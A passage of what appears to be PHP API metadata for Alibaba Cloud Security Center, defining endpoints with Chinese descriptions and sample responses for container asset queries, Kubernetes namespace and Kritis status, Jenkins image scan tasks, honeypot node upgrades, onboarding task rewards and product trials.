\\"RiskImageCount\\": 1,\\n \\"RiskPodCount\\": 2,\\n \\"NamespaceCount\\": 3,\\n \\"PodCount\\": 1,\\n \\"AppCount\\": 3,\\n \\"ContainerCount\\": 1,\\n \\"ImageCount\\": 3,\\n \\"RiskContainerCount\\": 1,\\n \\"ClusterCount\\": 1,\\n \\"RiskAppCount\\": 1,\\n \\"RiskClusterCount\\": 1,\\n \\"RiskInstanceCount\\": 3,\\n \\"InstanceCount\\": 1\\n }\\n}","type":"json"}]', + 'title' => '容器信息统计', + ], + 'DescribeContainerGroupedFieldDetail' => [ + 'summary' => '查询容器属性详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数为JSON格式，多个条件之间使用半角逗号（,）分隔。例如：`[{"name":"riskStatus","value":"YES"},{"name":"riskLevel","value":"2"}]`。'."\n" + .'> 支持使用实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产。您可以调用[DescribeCriteria](~~DescribeCriteria~~)查询支持的搜索条件。', + 'type' => 'string', + 'required' => true, + 'example' => '[{\\"name\\":\\"clusterId\\",\\"value\\":\\"cfd26658431084c73a48dd97328ba8acf\\"}]', + ], + ], + [ + 'name' => 'GroupField', + 'in' => 'query', + 'schema' => [ + 'description' => '检索项。取值：'."\n" + .'- **pod**：pod。'."\n" + .'- **appName**：应用名称。'."\n" + .'- **clusterId**：集群编号。'."\n" + .'- **namespace**：命名空间。'."\n" + .'- **image**：镜像。'."\n" + .'- **containerScan**：容器扫描。', + 'type' => 'string', + 'required' => true, + 'example' => 'pod', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Pod' => [ + 'description' => 'POD名称。', + 'type' => 'string', + 'example' => 'node-local-dns-zwsxl', + ], + 'CreateTime' => [ + 'description' => '创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1702433618301', + ], + 'ContainerCount' => [ + 'description' => '容器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'default', + ], + 'ClusterState' => [ + 'description' => '集群状态。取值范围：'."\n" + .'- STARTING：启动中。'."\n" + .'- START_FAILED：启动失败。'."\n" + .'- BOOTSTRAPPING：引导操作初始化。'."\n" + .'- RUNNING：运行中。'."\n" + .'- TERMINATING：终止中。'."\n" + .'- TERMINATED：已终止。'."\n" + .'- TERMINATED\\_WITH\\_ERRORS：发生异常导致终止'."\n" + .'- TERMINATE_FAILED：终止失败。', + 'type' => 'string', + 'example' => 'RUNNING', + ], + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'node-local-dns', + ], + 'InstanceCount' => [ + 'description' => '实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterType' => [ + 'description' => '集群的类型。取值：'."\n" + .'- **Kubernetes**：Kubernetes专有版。'."\n" + .'- **ManagedKubernetes**：标准托管集群（边缘集群）。'."\n" + .'- **Ask**：标准Serverless集群。', + 'type' => 'string', + 'example' => 'ManagedKubernetes', + ], + 'NodeName' => [ + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'shangliang-test', + ], + 'PodCount' => [ + 'description' => 'POD数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'zhhtest', + ], + 'PodIp' => [ + 'description' => 'POD的IP。', + 'type' => 'string', + 'example' => '192.168.1.1', + ], + 'ClusterCurrentVersion' => [ + 'description' => '集群当前在线服务器的版本。', + 'type' => 'string', + 'example' => '1.14.8-aliyun.1', + ], + 'VulCount' => [ + 'description' => '漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AlarmCount' => [ + 'description' => '告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"Data\\": {\\n \\"Pod\\": \\"node-local-dns-zwsxl\\",\\n \\"CreateTime\\": 1702433618301,\\n \\"ContainerCount\\": 1,\\n \\"Namespace\\": \\"default\\",\\n \\"ClusterState\\": \\"RUNNING\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"AppName\\": \\"node-local-dns\\",\\n \\"InstanceCount\\": 1,\\n \\"ClusterType\\": \\"ManagedKubernetes\\",\\n \\"NodeName\\": \\"shangliang-test\\",\\n \\"PodCount\\": 1,\\n \\"ClusterName\\": \\"zhhtest\\",\\n \\"PodIp\\": \\"192.168.1.1\\",\\n \\"ClusterCurrentVersion\\": \\"1.14.8-aliyun.1\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 1,\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\"\\n }\\n}","type":"json"}]', + 'title' => '查询容器属性详情', + ], + 'DescribeContainerServiceK8sClusterKritisStatus' => [ + 'summary' => '查询容器服务K8s集群Kritis状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '119.145.XXX.XXX', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c0e9efc6dea5f41db93b7e977123c****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', + ], + 'KritisStatus' => [ + 'description' => 'K8s集群Kritis状态信息。', + 'type' => 'object', + 'properties' => [ + 'Install' => [ + 'description' => '是否安装。取值：'."\n" + .'- **true**：已安装。'."\n" + .'- **false**：未安装。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"KritisStatus\\": {\\n \\"Install\\": true\\n }\\n}","type":"json"}]', + 'title' => '查询容器服务K8s集群Kritis状态', + ], + 'DescribeContainerServiceK8sClusterNamespaces' => [ + 'summary' => '查询容器服务K8s集群命名空间。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92040', + 'abilityTreeNodes' => [ + 'FEATUREsasJEFOWE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '140.205.XXX.XXX', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cf4435fefd45d4b1b8643f3a0bea3****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', + ], + 'K8sClusterNamespaces' => [ + 'description' => '命名空间列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Namespace' => [ + 'description' => '命名空间。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'default', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AckFailure', + 'errorMessage' => 'Failed to operate ack.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\",\\n \\"K8sClusterNamespaces\\": [\\n {\\n \\"Namespace\\": \\"default\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询容器服务K8s集群命名空间', + ], + 'CreateJenkinsImageScanTask' => [ + 'summary' => '创建jenkins扫描任务。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '120058', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Token', + 'in' => 'formData', + 'schema' => [ + 'title' => 'jenkins 镜像仓库 token，必填', + 'description' => 'Jenkins镜像仓库接入Token。在文档中心的首页 > 云安全中心 > 操作指南 > 容器防护 > CI/CD接入设置中获取。', + 'type' => 'string', + 'required' => false, + 'example' => 'c3de8326-273e-11fc-a0e3-d012435c****', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像命名空间，可选', + 'description' => '命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'lkl-zf-ss-ccss', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'formData', + 'schema' => [ + 'title' => 'repo名称', + 'description' => '仓库名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sdk', + ], + ], + [ + 'name' => 'Tag', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像标签', + 'description' => '镜像标签。', + 'type' => 'string', + 'required' => false, + 'example' => '00f597223f-20210831-1', + ], + ], + [ + 'name' => 'Digest', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像 digest', + 'description' => '镜像摘要。', + 'type' => 'string', + 'required' => false, + 'example' => 'a8c9f3765684cd8d9053db9523eab58878e99a199217500efd9ae2a860a7****', + ], + ], + [ + 'name' => 'ImageId', + 'in' => 'formData', + 'schema' => [ + 'title' => 'imageId', + 'description' => '镜像ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'b10ef7b245c34a0822055c74fc4a0e8b5baf0279306316b2c517a501ed25****', + ], + ], + [ + 'name' => 'ImageSize', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像大小，字节', + 'description' => '镜像大小，单位：字节。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '6120340', + ], + ], + [ + 'name' => 'ImageCreate', + 'in' => 'formData', + 'schema' => [ + 'title' => '创建时间，timestamp', + 'description' => '镜像创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1717430400000', + ], + ], + [ + 'name' => 'ImageUpdate', + 'in' => 'formData', + 'schema' => [ + 'title' => '修改时间，timestamp', + 'description' => '镜像更新时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1717430498600', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'formData', + 'schema' => [ + 'title' => '资产 uuid', + 'description' => '镜像资产UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '5b268326-273e-44fc-a0e3-9482435c****', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '119.136.XX.XX', + ], + ], + [ + 'name' => 'JenkinsEnv', + 'in' => 'query', + 'schema' => [ + 'description' => 'Jenkins环境信息，可不填或填写固定值：**release**。', + 'type' => 'string', + 'required' => false, + 'example' => 'release', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'title' => '扫描任务 id', + 'description' => '扫描任务ID。', + 'type' => 'string', + 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', + ], + 'Uuid' => [ + 'title' => '资产 uuid', + 'description' => '镜像资产UUID。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'ImageScanCapacity' => [ + 'title' => '镜像扫描授权数目', + 'description' => '扫描授权数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'RepoRegionId' => [ + 'title' => '镜像仓regionId', + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'RepoInstanceId' => [ + 'title' => '镜像仓实例id', + 'description' => '仓库实例ID。', + 'type' => 'string', + 'example' => 'cri-0gkaatghnmnt****', + ], + 'RepoId' => [ + 'title' => 'repoId', + 'description' => '仓库ID。', + 'type' => 'string', + 'example' => 'crr-upze3gcopm9c****', + ], + ], + ], + 'RequestId' => [ + 'description' => '接口请求ID。', + 'type' => 'string', + 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"ImageScanCapacity\\": 100,\\n \\"RepoRegionId\\": \\"cn-hangzhou\\",\\n \\"RepoInstanceId\\": \\"cri-0gkaatghnmnt****\\",\\n \\"RepoId\\": \\"crr-upze3gcopm9c****\\"\\n },\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', + 'title' => '创建jenkins扫描任务', + ], + 'UpgradeHoneypotNode' => [ + 'summary' => '升级指定蜜罐管理节点的版本。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'chargeType' => 'free', + 'abilityTreeCode' => '160476', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + 'autoTest' => false, + ], + 'parameters' => [ + [ + 'name' => 'AllowHoneypotAccessInternet', + 'in' => 'query', + 'schema' => [ + 'title' => '是否允许蜜罐访问外网', + 'description' => '是否允许蜜罐访问外网。取值：'."\n" + .'- **true**：允许'."\n" + .'- **false**：不允许', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '指定要升级的管理节点ID。'."\n" + .'>调用[ListHoneypotNode](~~ListHoneypotNode~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '返回结果数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'F832F2D0-C4CD-507B-8C14-CE1F25A7*****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F832F2D0-C4CD-507B-8C14-CE1F25A7*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '升级蜜罐管理节点版本', + ], + 'QueryGuidTaskList' => [ + 'summary' => '云安全中心为完成任务的用户提供了增值服务授权数、日志分析存储容量等奖励。调用该接口可查询配置任务的完成情况和奖励信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447D****', + ], + 'GuideTaskConfigList' => [ + 'description' => '新手任务信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '新手任务信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '任务状态。取值：'."\n" + .'- **0**：已关闭'."\n" + .'- **1**：执行中'."\n" + .'- **2**：已完成', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'TaskTypeName' => [ + 'description' => '任务名称。取值：'."\n" + ."\n" + .'- **guid_task_security_score_promote_video**：观看新手快速入门视频任务'."\n" + .'- **guide_sub_task_config_defence_hbr**：服务器防勒索配置任务'."\n" + .'- **guide_sub_task_config_uni_defence_hbr**：数据库防勒索配置任务'."\n" + .'- **guid_task_log_analysis_config**：日志分析任务'."\n" + .'- **guide_sub_task_web_lock_config**：防篡改任务'."\n" + .'- **guide_sub_task_config_anti_crack**：防暴力破解任务'."\n" + .'- **guid_task_container_security_video**：容器安全视频任务'."\n" + .'- **guid_task_container_image_scan_config**：容器镜像扫描任务'."\n" + .'- **guid_task_k8s_log_analysis_config**：Kubernetes威胁检测任务'."\n" + .'- **guid_task_container_network**：容器可视化任务'."\n" + .'- **guide_sub_task_config_add_collection**：收藏控制台任务'."\n" + .'- **guide_sub_task_vul_scan**：漏洞扫描任务'."\n" + .'- **guide_sub_task_virusKill**：病毒查杀任务', + 'type' => 'string', + 'example' => 'guide_sub_task_config_add_collection', + ], + 'TaskId' => [ + 'description' => '任务ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 't-000d8slfgx4p40kb64ad', + ], + 'RewardData' => [ + 'description' => '任务完成奖励信息。', + 'type' => 'object', + 'properties' => [ + 'Reward' => [ + 'description' => '奖励名称。取值：'."\n" + .'- **addTrialDay**：奖励试用天数'."\n" + .'- **addAntiRansomwareCapacity**：奖励防勒索容量'."\n" + .'- **addImageScanAuthCount**：奖励镜像安全扫描授权数'."\n" + .'- **addWebLockAuthCount**：奖励网页防篡改授权数'."\n" + .'- **addSlsCapacity**：奖励日志分析存储空间', + 'type' => 'string', + 'example' => 'addAntiRansomwareCapacity', + ], + 'RewardConfig' => [ + 'description' => '奖励配置信息。该参数为JSON格式。'."\n" + .'> 其中JSON的Key为奖励内容，Value为奖励值。Key取值如下：'."\n" + .'- **webLockAuthCount**：网页防篡改授权数'."\n" + .'- **ransomwareCapacity**：防勒索容量，单位GB'."\n" + .'- **slsCapacity**：日志分析容量，单位GB'."\n" + .'- **days**：使用天数'."\n" + .'- **imageScanAuthCount**：镜像扫描授权数'."\n" + .'- **honeypotAuthCount**：云蜜罐授权数', + 'type' => 'string', + 'example' => '{"days":60,"ransomwareCapacity":10}', + ], + 'IsRewardTaked' => [ + 'description' => '领取状态。取值：'."\n" + .'- **1**：未领取'."\n" + .'- **2**：已领取', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + 'SecurityScore' => [ + 'description' => '完成该任务可提升安全评分的分值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447D****\\",\\n \\"GuideTaskConfigList\\": [\\n {\\n \\"Status\\": 0,\\n \\"TaskTypeName\\": \\"guide_sub_task_config_add_collection\\",\\n \\"TaskId\\": 0,\\n \\"RewardData\\": {\\n \\"Reward\\": \\"addAntiRansomwareCapacity\\",\\n \\"RewardConfig\\": \\"{\\\\\\"days\\\\\\":60,\\\\\\"ransomwareCapacity\\\\\\":10}\\",\\n \\"IsRewardTaked\\": \\"1\\"\\n },\\n \\"SecurityScore\\": 80\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询新手任务信息', + ], + 'CreateSasTrial' => [ + 'summary' => '开启云安全中心试用。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '138066', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'TryVersion', + 'in' => 'formData', + 'schema' => [ + 'description' => '试用版本。取值：'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版'."\n" + ."\n" + .'>调用[GetCanTrySas](~~2623574~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + ], + [ + 'name' => 'FromEcs', + 'in' => 'formData', + 'schema' => [ + 'description' => '是否来自ECS控制台，取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'TryType', + 'in' => 'formData', + 'schema' => [ + 'title' => '试用类型', + 'description' => '试用类型，取值：'."\n" + .'- **0**：禁止试用'."\n" + .'- **1**：首次试用'."\n" + .'- **2**：二次试用'."\n" + ."\n\n" + .'> 调用[GetCanTrySas](~~2623574~~)接口获取此参数，不为0时才可开启试用。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RequestForm', + 'in' => 'formData', + 'style' => 'json', + 'schema' => [ + 'title' => '试用申请表', + 'description' => '申请试用理由，二次试用必须填写理由。', + 'type' => 'object', + 'properties' => [ + 'TryReason' => [ + 'description' => '申请试用理由。', + 'type' => 'string', + 'required' => false, + 'example' => 'for poc', + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'formData', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9D22BDB7-C0**328A2B2E9', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9D22BDB7-C0**328A2B2E9\\"\\n}","type":"json"}]', + 'title' => '开启云安全中心试用', + ], + 'GetCanTrySas' => [ + 'summary' => '查询是否有云安全中心试用权限。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'FromEcs', + 'in' => 'formData', + 'schema' => [ + 'description' => '是否来自ECS控制台，取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'formData', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'CanTry' => [ + 'description' => '是否有资格试用。取值：'."\n" + .'- **true**：有资格'."\n" + .'- **false**：没有资格', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'true', + ], + 'TryType' => [ + 'description' => '试用类型，取值：'."\n" + .'- **0**：禁止试用'."\n" + .'- **1**：首次试用'."\n" + .'- **2**：二次试用', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CanTryVersions' => [ + 'description' => '允许试用的版本列表。', + 'type' => 'array', + 'items' => [ + 'description' => '允许试用的版本列表，取值：'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8BAA57***B7073A5C1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"CanTry\\": 0,\\n \\"TryType\\": 1,\\n \\"CanTryVersions\\": [\\n 7\\n ]\\n },\\n \\"RequestId\\": \\"8BAA57***B7073A5C1\\"\\n}","type":"json"}]', + 'title' => '查询是否有云安全中心试用权限', + ], + 'ReceiveFunctionTrialRewardByAliUid' => [ + 'summary' => '完成任务后领取开启云蜜罐或恶意文件检测SDK功能试用奖励。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '137520', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'FunctionName', + 'in' => 'query', + 'schema' => [ + 'title' => '试用方法名称', + 'description' => '试用功能名称。取值：'."\n" + .'- **trail_honeypot_reward**：云蜜罐'."\n" + .'- **trail_file_detect_api_reward**：恶意文件检测SDK', + 'type' => 